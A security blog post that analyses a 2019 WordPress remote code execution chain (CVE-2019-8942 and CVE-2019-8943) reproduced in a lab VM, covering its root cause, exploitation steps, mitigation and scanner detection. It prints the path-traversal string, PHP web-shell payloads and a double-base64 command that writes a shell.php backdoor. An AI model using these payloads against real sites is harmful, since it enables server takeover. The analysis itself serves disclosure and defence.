Analysis of a WordPress Remote Code Execution Attack

May 21, 2019 • Razvan Costin Ionescu

Categories:

This article shows our analysis of a known attack (presented in February 2019) against WordPress versions 5.0.0 and lower, awarding an intruder with arbitrary code execution on the web server. The article covers each exploitation step and HTTP request required for a successful attack.

We will see how a combination of a Path Traversal and Local File Inclusion vulnerabilities lead to RCE in Wordpress 5.0.0. Here are the sections of the article for easier navigation:

  1. Background
  2. Target configuration
  3. What is the root cause for CVE-2019-8942?
  4. HTTP requests for exploitation
  5. Existing exploits
  6. How can you mitigate the vulnerability?
  7. Detection using Pentest-Tools.com

1. Background

In its position of the most popular content management system, WordPress is a frequent target for hackers. A vulnerable CMS is an invitation for attacks, which may lead to compromising the underlying server.

This attack chains together a Path Traversal and a Local File Inclusion (LFI) vulnerability in WordPress. The bugs were discovered in February 2019 by RipsTech and presented on their blog by Simon Scannell.

Their description in MITRE’s Common Vulnerabilities and Exposures is as follows:

CVE-2019-8942

WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an `_wp_attached_file` Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.

CVE-2019-8943

WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.

Exploitation requirements:

To successfully perform this attack scenario and exploit the two vulnerabilities, the following is needed:

  • A vulnerable version of WordPress: <4.9.9 or 5.0.0
  • A user account with Author role

2. Target configuration

We installed a vulnerable WordPress instance (v5.0.0) from here, on an Ubuntu VM. Before starting to install WordPress, make sure you add these two lines to the wp-config.php file:

define('AUTOMATIC_UPDATER_DISABLED',true);
define('WP_AUTO_UPDATE_CORE',false);

Adding the two line is essential because they disable automatic updates in WordPress. Otherwise, the CMS instance installs the latest version, which is not affected by the two vulnerabilities, in an unattended manner.

Once you run WordPress, make sure it is the correct version by looking under the Admin dashboard:

alt text

Now we have to create a new user with Author role:

alt text

3. What is the root cause for CVE-2019-8942?

Short version: Post meta entries can be overwritten.

Long version: The building blocks of a WordPress website are called template files. They define how the content is shown on the web page.

A blog is the same thing as a blog post or a post and can come in various formats: audio, image, link, quote, video, gallery, aside. One post may contain multiple elements: title, the date the post was written, its body, its author, and other data about the post; all are additional information for the post, also known as metadata.

Let’s take the example of an image post. Before WordPress 4.9.9 and 5.0.1, when an image was updated, the edit_post() function was called, and it acted on $_POST array directly. The array contained multiple elements such as title, content, post’s date and so on, but the more important variables are meta_input, file and guid.

In vulnerable versions of WordPress, the wp_update_post function takes directly the $post_data as argument, without checking for non-allowed post data fields. Because of this, a user with Author rights can change the meta data of a post by overriding the meta_input parameter in a malicious way.

alt text

4. HTTP requests for exploitation

Only 4 HTTP POST requests are needed to exploit the two vulnerabilities and obtain remote code execution, as described in the steps below:

Basically, we will upload an image file containing PHP code. Then we change one of its meta data, _wp_attached_file, so that it includes a path traversal payload (?/../../../../themes/twentynineteen/shell).

When cropping the image, its metadata is modified and a copy with the name cropped-shell.jpg is automatically created in the themes/twentynineteen directory, where the other template files are stored.

In the end, by creating a new Image Post with the cropped version of the image as template we ensure that the PHP code is executed when the blog post is opened.

Order of requests:

  1. Upload an image containing PHP code. The image is called image_with_php_code.jpg and it is 262x192 pixels in size.

    Request:

    alt text

    The response contains the newly created post_ID for the image:

    alt text

  2. Edit the image by changing its metadata, meta_input[_wp_attached_file] to 2019/05/image_with_php_code.jpg?/../../../../themes/twentynineteen/shell

    Request:

    alt text

    Response:

    alt text

  3. We crop the image (new sizes: 262x192). This is a fake crop, because the size of the image does not change.

    Request:

    alt text

    Response:

    alt text

    Because the image file now comes with modified metadata, a copy is automatically saved in the themes/twentynineteen directory.

    alt text

  4. Now we publish a post using the template `cropped-shell.jpg`
    Request:

    alt text

    The following response is received:

    alt text

View the result

At this point we simply have to view the newly published post in order to see the result of the executed PHP code. Here is the HTTP response in Burp:

alt text

And this is what it looks in the web browser:

alt text

5. Existing exploits

At the moment, there are two public exploits implementing this attack.

Exploit #1

JavaScript exploit: This exploit injects the following command into the EXIF Metadata of a JPEG image: <?php phpinfo();/*

Below you can see an excerpt from the public exploit, which includes the HEX data of the JPEG image. The placeholder \x07PAYLOAD will be replaced by the command mentioned above. This placeholder has a limited size, that is why we need a 18 chars long payload or less.

alt text

It is possible to shorten the command as <?=phpinfo();?> without altering the outcome. Below you can see the hexdump of the crafted image, containing our payload:

alt text

We decided to leverage this code and turn it into an entry point for running commands on the server. The new form of the payload will be: <?=`$_GET[0]`;?>

When the payload is executed, the attacker can run any command using this URL: http://localhost/wordpress/index.php/2019/05/07/rce-45/?0=id

alt text

A more powerful shell requires a larger payload, which is not possible by injecting it in the EXIF data of a JPEG file; but there is a way around this limitation. For this purpose we created a new PHP file by abusing URL above.

We wanted a shell.php file to be created on the server with the following content:

<?php passthru($_GET[0]);?>

We were able to do this and avoid escaping special characters by using the base64 scheme to encode the content. However, encoding added a “+” sign at the end of the string; this breaks the URL because browsers treats “+” as a space character, just like “%20.” The solution was to double encode the payload using base64.

alt text

alt text

In the end, we obtained the following string: UEQ5d2FIQWdjR0Z6YzNSb2NuVW9KRjlIUlZSYk1GMHBPejgr; then we included the encoded content in the URL and obtained this string:

http://localhost/WordPress/index.php/2019/04/18/rce-38/?0=echo UEQ5d2FIQWdjR0Z6YzNSb2NuVW9KRjlIUlZSYk1GMHBPejgr|base64 -d|base64 -d > shell.php

The newly created backdoor can be called directly from the root folder of WordPress.

alt text

Exploit #2

Metasploit Module - exploit/multi/http/wp_crop_rce

The Metasploit module is straightforward and requires credentials to authenticate as an Author to a vulnerable instance of WordPress.

Setup stage:

alt text

Exploitation stage:

alt text

alt text

Additional remarks

While investigating these two vulnerabilities, we found that the wp‑includes/media.php file contains a function called _wp_image_editor_choose, which checks if at least ImageMagick or GD image libraries can be used; the former comes with a higher priority than the latter.

The important take from this is that while ImageMagick preserves the EXIF metadata of the image, GD removes it when it processes (crop/resize/edit) an image, so the payload is no longer available.

The following screenshot shows that the <?=phpinfo();?> code is not executed when the image is handled by the GD library because it stripped the EXIF metadata:

alt text

So if you want to add the PHP payload to your own picture, you need to ensure that ImageMagick is installed; otherwise, you won’t know if the payload will still be present in the EXIF metadata after the cropping operation.

To install php-imagick you can run the following command in the terminal:

$ sudo apt-get install php-imagick

Note

Another interesting observation we made while analyzing the exploitation chain was that the exploit written for Metasploit works also with GD (ImageMagick does not need to be present on the system). The PHP code inserted in the image used by this exploit survives resizing and can be found in the cropped file.

6. How can you mitigate the vulnerability?

Short answer: always update your WordPress installation to its latest version.

Long answer: Starting WordPress v5.1 codenamed “Betty,” there is a new function named _wp_get_allowed_postdata, which returns only allowed post data fields and eliminates meta_input, file, and guid fields from the post data array.

alt text

The function _wp_get_allowed_postdata is later called as:

alt text

And the wp_update_post function takes as argument the newly sanitized variable $translated.

alt text

To better understand the difference in content between $post_data and $translated variables, we inserted two hooks in the post.php file; this redirects the content of both variables to /var/log/apache2/error.log.

error_log(“DEBUG - post_data variable: “.var_export($post_data,TRUE)); alt text

error_log(“DEBUG - translated variable:”.var_export($translated,TRUE)); alt text

It is easy to see that the $translated variable does not contain the meta_input field highlighted above.

7. Detection using Pentest-Tools.com

We used the WordPress Vulnerability Scanner to check if our test WordPress version is vulnerable to CVE-2019-8942. We did this by aiming the scanner to our WordPress installation in our VM (hence http://127.0.0.1) and checked the results.

alt text As shown in the image above, the results were positive for the vulnerability.

References and acknowledgements

Thanks to Simon Scannell for being kind enough to answer some of my questions.